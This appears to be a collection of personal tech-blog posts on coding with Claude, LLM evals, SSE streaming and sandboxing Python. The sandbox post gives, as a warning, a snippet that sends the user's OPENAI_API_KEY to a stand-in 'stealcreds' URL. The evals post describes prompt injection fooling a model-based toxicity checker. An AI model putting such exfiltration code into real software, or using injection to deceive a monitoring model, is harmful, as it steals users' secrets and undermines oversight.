When I entered the software industry, many interviews required me to write code on a whiteboard. This constraint was frustrating because the actual job wasn’t to write code on a whiteboard, it was to write code on a computer. I think we’re in the midst of seeing a similar transition in software interviewing. If students are learning to build software collaboratively with language models, we’re going to need to find ways to evaluate their skills that allow them to use the tools with which they’re familiar. One possible approach could be shifting the focus of interviews from writing code to debugging, taking care to playtest the question to ensure it can’t be trivially solved by a model. Another possibility is to increase the scope of the interview question in such a way that it becomes closer to something you could accomplish coding for an hour with a model.

I used to ask a “URL shortener” interview question. It was quite open-ended and allowed the candidate to build whichever parts of the system that were interesting to them and that showed their skills. In the case that a candidate was using a model on this problem, my expectations for how much they could build in an hour would be higher.

Raising the bar like this has consequences. If you assume every candidate is going to use a model, you implicitly require most if not all candidates to use one to pass. If you allow/expect candidates to use models, do you let them bring their own development environment or only allow them to use tools that your organization uses? What if you only have Copilot, but they are well practiced using Sonnet 3.5? Maybe they won’t be able to pass only using your tools. That might be ok if the match of their skills and your tools is important. Maybe these considerations aren’t meaningfully different from allowing candidates to interview in any language they want, even if your org doesn’t use it. Following this same argument should allow the candidate to choose their own tools for the interview.

I don’t claim to have a solution to the age-old problem of how to identify talent, but I do think most existing approaches to interviewing software engineers need modification because existing interview questions are so easily solved by models and most interviews (even if processes dictate otherwise) index on solution correctness to pass a candidate more than most other signals.

What am I missing?

If you’re interesting in chatting more about any of these areas or think I’m very wrong in my assessments, I’d love to hear from you. Feel free to reach out over email or DM me.

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Claude Artifacts

Sat, 06 Jul 2024 15:23:43 GMT

I spent some time working with Claude Artifacts for the first time. I started with this prompt

I want to see what you can do. Can you please create a 2d rendering of fluid moving around obstacles of different shapes?

In effort to not spend this whole post quoting prompts^[1], I’ve exported the whole conversation returned from the Anthropic API, using the response from the following endpoint^[2].

https://claude.ai/api/organizations/<org_id>/chat_conversations/<conversation_id>?tree=True&rendering_mode=raw

Initial Prompt and Response

Claude outputted a static SVG as its first attempt at solving this problem. I followed up that I wanted to animate it. First it tried to do that with a library called Matter.js, but it seemed Artifacts didn’t have access to that. I told Claude and it created a different version with its own simple physics.

This result was a nice, working example. It wasn’t exactly what I had in mind, which was something like this WebGL Fluid Simulation, but I’ll concede that that isn’t exactly what I asked for. I didn’t know the right terminology^[3] when I started.

Iterating on the Artifact

I prompted several more times to have Claude improve collision detection, add more shapes and add interactions between the particles. I also tried to make it so I could click and drag around the shapes with my mouse. I (Claude) never fully got any of these working. Some generations were incrementally closer, but didn’t quite accomplish was I was aiming for.

When I prompted Claude to make an improvement or fix a mistake, it occasionally simplified the problem to try and get a working version of the isolated feature I was asking for, like when I prompted to add the ability to move the shapes around with the mouse. This helped it get back on track, but wasn’t really what I wanted, which was to have the feature added to the working version of the code we were iterating on.

Limitations of Artifacts for Software Development

This experience brings me to my main complaint about Artifacts from the perspective of a software engineer. I want to collaborate with the model and specifically target areas where it makes changes and improvements in certain cases. I also do not want to regenerate the entire artifact after every prompt. I want to build incrementally on top of what is working. Waiting for a full regeneration is more time consuming and the model sometimes changes parts of the code that I would have preferred to keep the same. I could see myself using Artifacts as a starting point or for ideation, but Sonnet 3.5 + Cursor has been a much nicer experience as an engineer hoping to iterate, make more targeted changes and make my own edits to the code. Also, I mostly prefer the development environment in Cursor to the Claude UI.

Context Window Challenges

After many iterations in the Claude UI, I got this error message

Your message will exceed the length limit for this chat. Try shortening your message or starting a new conversation. Or consider upgrading to Claude Pro.

I’m happy to upgrade to a paid product (I mostly pay for model APIs these days), but this raises another issue with this approach for iterating on software — the context window. Even with a larger context window that would have let me send many more messages, I’ve experienced a few problems with an append-only conversation history.

We don’t want or need many of the failed attempts in the context and retaining them sometimes seems to continue to steer the model in the wrong direction, even for subsequent generations
The inference is slower and more expensive with more tokens
The quality of the inference seems to degrade with larger context — this is a vibes-based take, I don’t have hard data to back it up and it seems to be improving

Claude 3.5 Sonnet is my favorite model right now. I’d would say I prefer claude-3.5-sonnet over gpt-4o more than I preferred claude-3-opus over gpt-4-turbo. I enjoyed seeing Anthropic dive into the model+tool arena and I’m looking forward to seeing how they continue to iterate from here.

I need to figure out a better way to share conversations from all the different models I interact with, including multi-modal models. Ideally, I could export these in a consistent JSON structure to make rendering them in a standard conversation format easier. Static media (images, video, etc.) would be straightforward but things like Artifacts, which are rendered by the Claude UI fit this structure less cohesively. ↩
This API may change in the future. It isn’t an externally-documented API. ↩
I tried starting a new conversation, prompting Claude to ‘Create a fluid simulation with WebGL’ but got ‘Output blocked by content filtering policy’ which was disappointing. ↩

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Claude 3.5 Sonnet Codes Really Well

Sun, 23 Jun 2024 01:10:36 GMT

One of my favorite things to do with language models is to use them to write code. I’ve been wanting to build a variation on tic-tac-toe involving a bit of game theory. I called it “Tactic”. I wasn’t even really sure if the game would be any more interesting than tic-tac-toe itself, which reliably ends in draws for any players who understand the basics of the game. Rather than explain too much, I’ll show the prompt I wrote for claude-3.5-sonnet using Workbench. Try it yourself! You will probably receive a response quite similar to what I got. Related: I need to start saving my model conversations in a consistent format.

User

Hi! I want to create a simple game using web technology. The game is a variation on tic-tac-toe. It will use the same board but the mechanics of playing are slightly changed. The game has two players. Each player proposes two moves then submits them. The server receives these two moves then awards the square to a player only that player was the only one of the two to propose the move. If both players propose a move at the same position, neither player gets the square. If neither player proposes a move at a square, nothing happens.

We will start simple. The game cannot start until two players connect to the web server. Manage these two connections over a websocket. When both players join, match them on the server, then notify the client whether it is playing as X or O. From here, both players will need to submit moves. Each should select two unoccupied spots from the board, then click a “lock” button in the UI. Once, both players select lock, the server should determine the new board state based on the logic described above, then send the new board state to both players. This process repeats until on player gets tic-tac-toe or it’s not longer possible for either player to win.

When it’s no longer possible for either player to win, the client should display a “new game” button to both players on the client. If either player clicks this button, a new game with an empty board should begin.

Please write client and server side code for this game, including any html and css

Claude outputted code for the following files

server.js
public/index.html
public/styles.css
public/script.js

then instructed me to run

npm init -y
npm install express socket.io

This prompt alone got me surprisingly close to a working version of the game. I pasted these files into Cursor, then followed Claude’s directions to initialize the project. I started the server then opened two browser tabs. Both clients connected and matched after the second client connected. I started clicking the cells of the board and they appeared selected but they did not show a marker (e.g. “X” or “O”). I prompted Claude to fix this. Next, I started trying to submit moves. The server seemed to be receiving the moves but not notifying the clients of the new board state after calculating it. I asked Cursor in chat (also using Sonnet) to look at server.js and public/script.js to figure out why the clients weren’t updating.

User

look at @script.js and @server.js and help me figure out why my clients aren’t receiving the boardUpdate event

Assistant

The issue seems to be with the way you’re trying to emit the ‘boardUpdate’ event to a specific room in your server.js file. The io.to(gameId).emit('boardUpdate', { board: newBoard, turn: game.turn }); line is trying to emit an event to a room that doesn’t exist.

In Socket.IO, rooms are a way of broadcasting an event to a specific group of sockets. You can add a socket to a room using the socket.join(room) method. However, in your code, you never add the sockets to a room.

Then, it suggested a code change to server.js to fix this, which just worked.

At this point, the game was basically working.

Claude feels like a powerful tool to me. I wrote less than 1% of the code characters in this project myself. I molded the project using prompts and my vision for the finished product.

Claude writes code in seconds and the code seems to be mostly correct. When the code isn’t correct, you can often use Claude to find and correct the issue by describing the problem you are seeing.

Takeaways

We’ve seen LLMs writing code for a while now, with varied levels of competence. I haven’t played much with models that are fine-tuned to write code, so it’s possible I am late to the party here, but this version of Sonnet is so good. I think it’s the best model I’ve used to write code. I’ve seen many folks building cool stuff with “Artifacts” which I haven’t even had a chance to touch yet (edit: I tried it out), but seeing Claude create a working, non-trivial, multi-file project in a single prompt impressed me. It was a joy to use in Cursor to refine and improve the idea further.

To the skeptics

I’ve frequently heard experienced engineers say projects like this one are easy for anyone who knows how to code. I’ve made several attempts, both with and without models to get a prototype of this idea working, and got stuck at various points along the way each time. Undoubtedly, the false starts partially contributed to my ability to get it working this time. It’s also possible if I had spent a bit more time on any of those occasions, I might have gotten to a working prototype sooner. For me, the bottom line is Claude helped me ship this to the degree that I had hoped to and meaningfully decreased the time from idea to “thing in the world”.

Here is the code in case you are interested in looking around.

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Language model-based aggregators

Tue, 18 Jun 2024 20:45:20 GMT

Model-based aggregators

I watched Simon’s Language models on the command-line presentation. I am a big fan of his Unix-approach to LLMs. This also inspired me to play around more with smaller models to continue developing an intuition for how these things work.

I was quite interested in his script which he used to summarize comments on an orange site post at 26:35 in the video. This script got me thinking about the future of information consumption more deeply. I found Simon’s script useful for understanding the general tone of the responses to a particular item posted on the forum.

Model-based aggregators for news consumption

I’ve also found swyx’s AI News newsletter useful for catching up on what is happening around the internet in various AI communities for the day. In neither case am I (initially) reading very much user-generated content. I am reading model summaries to help provide me a directional signal for what I want to look into more deeply next.

Where does this lead?

What are the implications of these “model-based aggregators”? It’s possible to instruct the model to quote directly from the source material, which can help blend the model summary with the original content. However, I can also anticipate ways in which, if I’m largely consuming model generated content, I could become somewhat disconnected from what the actual people are thinking about, experiencing and doing. It’s also possible the model could be biased in ways that prevent certain things from surfacing. Or worse, certain primary sources could be excluded by whoever is deciding what content should be provided as part of the model context.

I think it’s still early, but I expect models are already being used to cherry-pick context and intentionally produce biased summaries. As someone who is trying to keep my horizon for information broad, model-based aggregation helps save me time and increase my breadth of understanding, but I see how it might also bring blind spots and allow for subtle “finger-on-the-scale” influencing of my understanding as well.

None of this ML-based recommendation and aggregation is new. It’s one of the most profitable business models in the world. With LLMs, it seems to me that it’s now much easier to aggregate or summarize information and present it through a highly refined lens. Combined with a feedback loop for engagement, I could see this producing some not-so-nice results.

Model-based aggregation also further devalues original source material. I think if we begin to rely more on model summarization, it will make it harder to be a self-supporting content creator. However, succeeding as a content creator today is usually tied with achieving effective distribution on platforms (or finding your N true fans to pay you directly). If you can get your content into the LLM-generated summaries, maybe that is similar to getting your content shared on platforms. However, because the model can summarize what you wrote, you may never get the traffic or credit, making the situation meaningfully worse for authors of original content even if consumers of the content are still enjoying and learning from it. If no one can support themselves making original content, they will be forced to do other things. As a result of that shift, the models will have little good or interesting content to aggregate, and the quality of the summaries will probably get worse.

This degradation seems like a furthering of the consolidation of news organizations and social media platforms. I can see pluses and minuses for how models will help us learn and stay informed, but given how confusing things have become with social media, I am wary of the downsides and negatives resulting from a diet of mostly model-generated content.

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Learning How to Learn

Thu, 13 Jun 2024 19:42:38 GMT

I completed Barbara Oakley’s “Learning How to Learn” course on Coursera. The target audience seems to be students, but I found there were helpful takeaways for me as well, as someone who is a decade out of my last university classroom.

The course introduces a mental model (no pun intended) for how the brain works by contrasting two modes: focus mode and diffuse mode. Being in one of these modes prevents you from being in the other. For me, it helped provide some insight into why at some times things like coding, being creative, and writing can be more difficult than others.

The course also provided corroborating evidence for a few approaches to getting “unstuck” that I’ve learned after a lot of trial and error. If I get stuck on a problem, my first intuition is often to spend more time and energy trying to solve it. What often happens is as soon as I step away from the problem, whether it be doing something else or taking a break, a novel approach comes to me that helps me get unstuck. The course explains this phenomenon through the brain’s fluctuations between the focused and diffuse modes of the brain.

Because it’s somewhat focused on students, there is some content on test-taking tips. The most salient tip in the course about test-taking is to read the hardest problem first, then go back and do the easier ones. It is quite literally like a background thread in your brain starts thinking about that problem while you answer the other easier questions. Once you get to the hard question, you have all this useful context readily available and maybe even some insight into how to tackle the issue.

This approach seems to work with many things. If I am writing a technical design document for a system, I look at the most complex question I have to answer, then start writing the more straightforward parts of the document, returning to the more complex parts later, in a primed state.

At a high level, I found this course useful for thinking about how to operate my brain more effectively and make better use of my time. Getting stuck on a hard (or even silly) problem is inevitable. What matters far more is how you respond to getting stuck. Spending a lot of energy and effort to push through can eventually yield results, but being aware that this is not necessarily the fastest approach is important if you want to do the best job you can do.

It’s a far better outcome to work for 30 minutes, take a 10-minute walk, then work for 30 more minutes than to work nonstop for 70 minutes, even if it results in the same work product. When I take the latter approach, my energy gets drained. When I take breaks or put intentional space between work sessions, I find I am eager to get back to the task because I have new ideas for things to try that I came up with in the interim.

The brain doesn’t come with an instruction manual. I find knowledge like this empowering and it makes life more enjoyable.

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Switching From Pocket to Raindrop for bookmarks

Wed, 05 Jun 2024 16:12:01 GMT

I’ve been using Pocket for a long time to keep track of things on the web that I want to read later. I save articles on my mobile or from my browser, then revisit them, usually on my desktop. Some articles I get to quickly. Others remain in the stack for a long time and can become stale. Periodically, I scan through everything I’ve saved and do a bit of house cleaning.

Recently, Pocket stopped supporting their desktop app and now ships the mobile version of the app on the desktop using Catalyst (or something similar). I’m sad to say it, but I didn’t like this change. This was the first bit of friction. More recently, I’ve started to refine my reading and writing workflows. One specific need I had was to see the date on which I saved an article. Pocket didn’t seem to have an easy solution to this problem. I started looking for alternatives.

The main options I considered were Instapaper and Raindrop. My requirements were:

Ability to save articles from mobile
Ability to save articles from a browser
Ability to see the date I saved an article
A nice reader mode on desktop

Nice to have:

An API to view the articles I’ve saved and any metadata
Nice reader on mobile

Why I chose Raindrop

Both Instapaper and Raindrop both met my requirements. What truly convinced me to choose Raindrop was the capability to add extra metadata such as notes and tags on iOS when I save an article.

I anticipate this will be useful for creating log posts about things I enjoyed reading — something I do now, but didn’t do when I started using Pocket. In contrast, Instapaper just saves the link immediately (a behavior closer to Pocket’s). I didn’t really think about these features as “missing” when I was using Pocket, but now that I have the option, I’m taking it.

Migrating my data from Pocket

Initially, I was hesitant to try and import my old Pocket saves because there are years of accumulated data. I decided to go ahead and do it because in the past, whenever I’ve done a wholesale data purge, I’ve usually regretted it later. To complete this process, I exported my Pocket saves and imported them into Raindrop. The links are imported into Raindrop in folders called “Unread” and “Read Archive”. I don’t have the bandwidth to review or sort these now, but I want them to be available for when I do. With that, I’ve fully transitioned from Pocket to Raindrop.

Pocket had the data I needed

Ironically, the html file I exported from Pocket seems to contain the timestamp I was looking for.

<li>
  <a href="https://example.com" time_added="1717501846" tags=""
    >Example bookmark</a
  >
</li>

Unfortunately, Pocket doesn’t seem to expose this in an easy-to-find way in their UI.

It’s the end of an era for me, but I am grateful to the Pocket/Mozilla team who supported the app for as long as I used it, and Rustem, who built Raindrop and has made onboarding seamless.

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Evals: unit testing for language models

Wed, 15 May 2024 18:42:38 GMT

Generative AI and language models are fun to play with but you don’t really have something you can confidently ship to users until you test what you’ve built.

What are evals?

Evals are like the unit tests for LLMs. Similar to unit tests, evals can take on many different forms — they are just code you run to generate a model completion then check the contents of that completion. A more challenging part about LLMs relative to “average code” is their outputs aren’t really deterministic. Let’s think about non-deterministic (less-deterministic?) code for a second. If you were testing a random number generator you might write code like this:

from random import random


def test_random_number():
    num = random()
    assert 0 <= num < 1, "The number is within bounds [0, 1)"

This approach allows you to test the bounds of the function random() without relying on a single specific result.

A simple LLM use case

In the case of LLMs, I’ve observed several different approaches to determine whether the model is behaving as expected. If the LLM output is highly constrained (e.g., if it’s being used as a classifier), simple assertions could be sufficient to validate the LLM is performing its function as intended.

Note: I’m using a Marvin-esque style of writing an “AI-powered” function. The code is not meant to be runnable, just illustrative of the approach.

from enum import Enum

class Sentiment(Enum):
    POSITIVE = 1
    NEUTRAL = 2
    NEGATIVE = 3

def classify_sentiment(text: str) -> Sentiment:
    """
    Classify the sentiment of `text`.
    """
    ...

def test_classify_sentiment_positive():
    text = "I am so happy!"
    sentiment = classify_sentiment(text)
    assert sentiment == Sentiment.POSITIVE

def test_classify_sentiment_neutral():
    text = "Today is Wednesday"
    sentiment = classify_sentiment(text)
    assert sentiment == Sentiment.NEUTRAL

A more complex use case

If the LLM is doing something more complicated, a more flexible approach could be required. For example, let’s say we expect the LLM to output a recipe as a markdown list. It would be somewhat hard to validate the contents of the recipe with deterministic code, but we could validate the structure of the model response (to start at least).

from enum import Enum


def generate_recipe(ingredients: List[str]) -> str:
    """
    Generate a recipe I could make this with `ingredients`.
    No need to use all the ingredients. Just pick a few.
    Output a markdown list.
    """
    ...

def test_generate_recipe_markdown_structure():
    ingredients = ["flour", "sugar", "eggs", "butter", "vanilla extract", "baking powder", "milk", "chocolate chips", "salt", "a rubber duck", "a pair of sunglasses", "a tennis ball"]

    recipe = generate_recipe(ingredients)
    for line in recipe:
        assert line.startswith("- ")

These approaches are somewhat naive but they impose helpful guardrails around the basic structure and expectations for the LLM outputs of an application.

Using a model to evaluate a model response?

Some folks are going further, using the model to validate its own outputs in the same completion (by prompting the model to explain itself or refine an initial response) or separate calls where the model takes a previous model output in as part of its prompt then generates a new completion. A couple of places I’ve noticed this approach being used are to try and detect hallucinations or toxicity.

Here an example of what a simple implementation of an LLM-based toxicity detector for LLM outputs could look like:

def generate_birthday_card(name: str, favorite_color: str) -> str:
    """
    Write a fun, nice birthday card to my friend `name` whose favorite color is `favorite_color`
    """
    ...

def contains_toxic_language(model_response: str) -> bool:
    """
    `model_response` is intended to be nice and wholesome.
    If you detect toxic language in the content, return `True`
    Else, return `False`
    """

def test_generate_birthday_card():
    card_content = generate_birthday_card("Dan", "Green")
    assert not contains_toxic_language(card_content)

Our “test” now has two non-deterministic components

the model-generated birthday card
the model-generated evaluation of the birthday card’s contents

I think you can derive a directional signal from this approach. Say we called generate_birthday_card in production and then contains_toxic_language on its output. We could report stats on the approximate % of toxic responses. We could try and tweak our prompt in generate_birthday_card to reduce this percentage or block the response to the user if contains_toxic_language == True. It seems like the library (or OpenAI API itself) may even help with this.

At scale with this approach, there will still probably be both false positives and false negatives. Sometimes the model will detect toxicity when we wouldn’t expect it to and sometimes the model will fail to detect toxicity when it is present in the contents of the birthday card. To distill these model-based measurements down to ”% of toxic responses” is a bit misleading. There can be errors at either step, which can compound errors in the reporting of ”% of toxic responses”, which is decided entirely by the model. Lastly, it’s likely possible to do prompt injection in a way that produces toxic output when calling generate_birthday_card and “fools” the model when it runs the contains_toxic_language check into reporting the content is not toxic. This thwarts your ability to measure the ”% of toxic responses” because the model you’re attempting to use to measure toxicity has been undermined and does not report correctly. This means a aggregate measurement of 2% toxicity in the responses of your birthday card-generating LLM app may not reflect reality at all.

Why is this bad?

This approach is not necessarily bad, but we shouldn’t lull ourselves into feeling a false sense of security when we have models evaluating the outputs of models. To start, it’s important to consider your use case. If you’re building a chatbot for your e-commerce store visitors, the potential downsides of an imperfect model response are likely less impactful than if you are reading data from receipts and trying to do accounting for your business with the output data. The former has a wide range of possible, useful modes of operation. The latter generally has only one correct answer. If you’re relying on a model to report on whether your model generations are correct, healthy, or fitting a certain criterion, you need to anticipate ways in which the reporting model might perform its job incorrectly and add other guardrails and measurements that can give you more signal about the health of your model responses.

Why models are still worth it

Models don’t have to be perfect to be useful. Even in the accounting example, where we require our numbers to be correct, we can add deterministic checks and safeguards to our system (do line items add up correctly, do the sum of all receipts match the system’s total?) that can flag potentially incorrect calculations for a second look. Even deterministic software breaks all the time. We engineer around these breakages by fixing things(!) or with other things like error messages, system restarts and human processes. Models are useful, flexible tools but we shouldn’t abandon existing best practices just because we ran our demo a few times and it looks like it worked. Measure and plan for failures as a part of your design. I’d love to hear what works for you.

I got to the end of this post and decided to make the code real. I wasn’t quite able to build a successful prompt injection for the birthday card use case, but hopefully the attempt describes the threat vector reasonably well.

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Language Model Streaming With SSE

Wed, 31 Jan 2024 08:19:38 GMT

OpenAI popularized a pattern of streaming results from a backend API in realtime with ChatGPT. This approach is useful because the time a language model takes to run inference is often longer than what you want for an API call to feel snappy and fast. By streaming the results as they’re produced, the user can start reading them and the product experience doesn’t feel slow as a result.

OpenAI has a nice example of how to use their client to stream results. This approach makes it straightforward to print each token out as it is returned by the model. Most user facing apps aren’t command line interfaces, so to build our own ChatGPT like experience where the tokens show up in realtime on a user interface, we need to do a bit more work. Using Server-Sent Events (SSE), we can display results to a user on a webpage in realtime.

If you’re short on time, Vercel wrote a nice ai library that handles much of the work we’re about to do here in React, with nice hooks and an easy pattern for hosting a backend (through proprietary). This exploration is to understand SSE more deeply and look at what it takes to build your own API and UI capable of the UX described.

A simple implementation

We’re going to build a fastapi backend to stream tokens from OpenAI to a frontend, which I will build as well. Let’s start with a simple server that returns at StreamingResponse.

server.py

from openai import AsyncOpenAI
from fastapi import FastAPI
from fastapi.responses import StreamingResponse


app = FastAPI()
client = AsyncOpenAI()

async def generator(msg: str):
    stream = await client.chat.completions.create(
        messages=[
            {
                "role": "user",
                "content": msg,
            }
        ],
        model="gpt-3.5-turbo",
        stream=True,
    )

    async for chunk in stream:
        yield chunk.choices[0].delta.content or ''


@app.get("/")
async def main(msg):
    return StreamingResponse(generator(msg))

Run the server

uvicorn server:app --reload

Curl the endpoint shows things are wired together reasonably

❯ curl "localhost:8000/ask?msg=who%20are%20you"
I am an AI chatbot developed by OpenAI. I am here to provide information and assist with any questions you have. How can I help you today?%

This is almost all we need on the server for an MVP of streaming to a UI. Referencing the same SSE docs as earlier, we see a description of an interface called EventSource. We’ll see a simple html and Javascript frontend with EventSource to build our UI. Looking at the example PHP code, we also see our server code needs some slight modifications. The data we emit needs to be formatted as f"data: {data}\n\n" for EventSource to handle it. We also need to set the content type of text/event-stream.

Here is the server with those changes:

from openai import AsyncOpenAI
from fastapi import FastAPI
from fastapi.responses import StreamingResponse


app = FastAPI()
client = AsyncOpenAI()

async def generator(msg: str):
    stream = await client.chat.completions.create(
        messages=[
            {
                "role": "user",
                "content": msg,
            }
        ],
        model="gpt-3.5-turbo",
        stream=True,
    )

    async for chunk in stream:
        yield f"data: {chunk.choices[0].delta.content or ''}\n\n"


@app.get("/ask")
async def main(msg):
    return StreamingResponse(generator(msg), media_type="text/event-stream")

And the curl still works (though now is less human readable).

data:

data: I

data:  am

data:  an

data:  AI

data:  language

data:  model

data:  created

data:  by

data:  Open

data: AI

data: .

data:  I

data:  am

data:  designed

data:  to

data:  assist

data:  and

data:  provide

data:  information

data:  to

data:  the

data:  best

data:  of

data:  my

data:  abilities

data: .

data:

Now let’s create a simple UI and serve it from the server (for simplicity).

index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Stream Test</title>
  </head>
  <body>
    <button id="streambtn">Start Streaming</button>
    <input type="text" id="messageInput" placeholder="Enter message" />
    <div id="container"></div>

    <script>
      var source;
      var button = document.getElementById('streambtn');
      var container = document.getElementById('container');
      var input = document.getElementById('messageInput');

      button.addEventListener('click', function () {
        var message = input.value;
        var url = 'ask/?msg=' + encodeURIComponent(message);

        // clear the input field and container div
        input.value = '';
        container.textContent = '';

        // create new EventSource connected to the server endpoint
        source = new EventSource(url);

        source.addEventListener(
          'open',
          function (e) {
            console.log('Connection was opened');
          },
          false
        );

        source.addEventListener(
          'message',
          function (e) {
            // Append the new message to the existing text
            container.textContent += e.data;
          },
          false
        );

        source.addEventListener(
          'error',
          function (e) {
            if (e.readyState == EventSource.CLOSED) {
              console.log('Connection was closed');
            } else {
              console.log('An error has occurred');
            }
          },
          false
        );
      });
    </script>
  </body>
</html>

We also modify the server to render with html file when request the root url.

from openai import AsyncOpenAI
from fastapi import FastAPI
from fastapi.responses import FileResponse, StreamingResponse


app = FastAPI()
client = AsyncOpenAI()

async def generator(msg: str):
    stream = await client.chat.completions.create(
        messages=[
            {
                "role": "user",
                "content": msg,
            }
        ],
        model="gpt-3.5-turbo",
        stream=True,
    )

    async for chunk in stream:
        yield f"data: {chunk.choices[0].delta.content or ''}\n\n"


@app.get("/ask")
async def main(msg):
    return StreamingResponse(generator(msg), media_type="text/event-stream")


@app.get("/")
async def get_index():
    return FileResponse("index.html")

We can open the site at http://localhost:8000 and enter a message to the model. Then click “Start Streaming”.

We see the response from the model showing up in real-time! Something funny happens though. If we wait a few seconds, we see new responses to the message continue coming through, as if the request is being submitted repeated it. In fact, this is exactly what is happening.

We can modify the server to see a [DONE] response when the streaming is complete and the client to close the EventSource connection when it receives this data.

from openai import AsyncOpenAI
from fastapi import FastAPI
from fastapi.responses import FileResponse, StreamingResponse


app = FastAPI()
client = AsyncOpenAI()

async def generator(msg: str):
    stream = await client.chat.completions.create(
        messages=[
            {
                "role": "user",
                "content": msg,
            }
        ],
        model="gpt-3.5-turbo",
        stream=True,
    )

    async for chunk in stream:
        yield f"data: {chunk.choices[0].delta.content or ''}\n\n"
    yield f"data: [DONE]\n\n"


@app.get("/ask")
async def main(msg):
    return StreamingResponse(generator(msg), media_type="text/event-stream")


@app.get("/")
async def get_index():
    return FileResponse("index.html")

<!DOCTYPE html>
<html>
  <head>
    <title>Stream Test</title>
  </head>
  <body>
    <button id="streambtn">Start Streaming</button>
    <input type="text" id="messageInput" placeholder="Enter message" />
    <div id="container"></div>

    <script>
      var source;
      var button = document.getElementById('streambtn');
      var container = document.getElementById('container');
      var input = document.getElementById('messageInput');

      button.addEventListener('click', function () {
        // create new EventSource connected to the server endpoint
        var message = input.value;
        var url = 'ask/?msg=' + encodeURIComponent(message);

        // clear the input field and container div
        input.value = '';
        container.textContent = '';

        source = new EventSource(url);

        source.addEventListener(
          'open',
          function (e) {
            console.log('Connection was opened');
          },
          false
        );

        source.addEventListener(
          'message',
          function (e) {
            // if the message is "[DONE]", close the connection
            if (e.data === '[DONE]') {
              source.close();
              console.log('Connection was closed');
              return;
            }

            // append the new message to the existing text
            container.textContent += e.data;
          },
          false
        );

        source.addEventListener(
          'error',
          function (e) {
            if (e.readyState == EventSource.CLOSED) {
              console.log('Connection was closed');
            } else {
              console.log('An error has occurred');
            }
          },
          false
        );
      });
    </script>
  </body>
</html>

Now when we submit a message from the UI, the client closes the connection with the server after it is finished responding. If we submit another request, the client clears the content and streaming the new response. It generally works. The weirdness in the spacing is due to the model returning newlines (\n) which are being consumed by EventSource as the suffix of data. That is a problem we won’t delve into here.

Repurposing the backend

EventSource works for streaming events from a backend with SSE, but there are other options depending on how you’re building your UI. As mentioned earlier, Vercel’s ai package provides React hooks to build a realtime streaming chat. We can modify our backend to support this library.

Let’s first consider a minimal (as much as possible anyway) Next.js app with the ai library installed, taken straight from the docs

src/app/page.tsx

'use client';

import { useChat } from 'ai/react';

export default function Home() {
  const { messages, input, handleInputChange, handleSubmit } = useChat({
    api: 'http://127.0.0.1:8000/ask',
  });

  return (
    <main className="flex min-h-screen flex-col items-center justify-between p-24">
      <div>
        {messages.map((m) => (
          <div key={m.id}>
            {m.role === 'user' ? 'User: ' : 'AI: '}
            {m.content}
          </div>
        ))}

        <form onSubmit={handleSubmit}>
          <label>
            Say something...
            <input value={input} onChange={handleInputChange} />
          </label>
          <button type="submit">Send</button>
        </form>
      </div>
    </main>
  );
}

We’ve setup the useChat hook to point to our backend and wired up an input field to submit the conversation along with a new message. If we inspect the payload the ai sends to the backend, we see it’s a POST request and that the body content contains the OpenAI schema for an array of messages.

{
  "messages": [{ "role": "user", "content": "..." }]
}

With this knowledge, we can modify our backend to expect this request schema and pass it to the model. Through some quick trial and error (maybe the docs have this somewhere as well), I also learned the library expects the streaming responses to contain the tokens only, not the data: {content}\n\n\ wrapping like EventSource does.

Our server code now looks like this

from openai import AsyncOpenAI

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import StreamingResponse

app = FastAPI()

# Added because the frontend and this backend run on separate ports
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

client = AsyncOpenAI()

@app.post("/ask")
async def ask(req: dict):
    stream = await client.chat.completions.create(
        messages=req["messages"],
        model="gpt-3.5-turbo",
        stream=True,
    )

    async def generator():
        async for chunk in stream:
            yield chunk.choices[0].delta.content or ""

    response_messages = generator()
    return StreamingResponse(response_messages, media_type="text/event-stream")

Here’s how it looks (sorry, no fancy UI):

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Sandboxed Python Environment

Sun, 21 Jan 2024 03:53:12 GMT

Disclaimer: I am not a security expert or a security professional.

I’ve tried out many new AI/LLM libraries in the past year. Many of these are written in Python. While trying out new and exciting software is a lot of fun, it’s also important to be mindful about what code you allow to run on your system. Even if code is open source, it’s still possible that the cool open source library you installed includes code like

import httpx
import os

httpx.post(
    'https://someoneswebsite.com/stealcreds',
    data={'key': os.environ.get("OPENAI_API_KEY")},
)

I strongly recommend vetting any libraries you use, using separate API keys per app and setting a spend cap on OpenAI in case your key is compromised. However, your OPENAI_API_KEY isn’t all you need to worry about. Python code (including dependencies) has access to your entire os.environ. It’s somewhat common to set environment variables for the shell to be available system wide. Zsh has a dedicated file that gets sourced when the shell starts up (.zshenv). So if you hypothetically had GITHUB_API_TOKEN set in your environment, some open source library could send that secret to its own server and gain access to your stuff.

Thankfully, over time, open source libraries usually are scrutinized to the degree that this type of credential stealing becomes more difficult to execute or scale. However, with the advent of agent-like, language-model-based systems, certain libraries are now asking us to allow them to execute system commands on our behalf. While many of these require user approval, some have automatic approval capabilities, allowing a language model to roam freely among your system. If you’re reading this article, you probably already know this isn’t an awesome idea.

Some trial and error

I tried several approaches to solve this problem before I identified one that seemed to address most of my concerns. My goal was to find a safe setup that expected code to use a language model to execute code, peek at my environment or poke around the file system.

Trying out env

My initial inclination was to try and clear out my environment variables to protect against a program trying to steal my secrets. The env -i command can execute a shell command with an empty environment. Unfortunately, this approach removes too much of what is needed to run Python, so it wasn’t viable.

❯ env -i python run.py
env: python: No such file or directory

Trying out nix

Nix seemed like another possible candidate that could manage an independent version of Python and my dependencies After a bit of searching, I found a way to create a shell with a nix-specified environment using nix-shell. Loosely following instructions from this article, I created a shell.nix file with the following contents

{ nixpkgs ? import <nixpkgs> {}, pythonVersion ? "python3" }:

nixpkgs.mkShell {
  buildInputs = [
    (nixpkgs.${pythonVersion})
    (nixpkgs.python3Packages.numpy)
    (nixpkgs.python3Packages.openai)
  ];

  shellHook = ''
    echo "Welcome to your Python development environment."
  '';
}

I ran nix-shell from the same directory, which put me in a shell (within my shell) with a specific version of Python and my specified dependencies installed.

❯ nix-shell
Welcome to your Python development environment.

❯ which python
/nix/store/<...>-python3-3.11.7/bin/python

❯ python
Python 3.11.7 ...
Type "help", "copyright", "credits" or "license" for more information.
>>> import openai
>>> import numpy
>>>

Nix worked as advertised, but I realized this approach didn’t provide isolation from my environment variables or my system. Any Python code I ran from the within the nix shell could still read my environment variables or mess with my host file system if it was malicious.

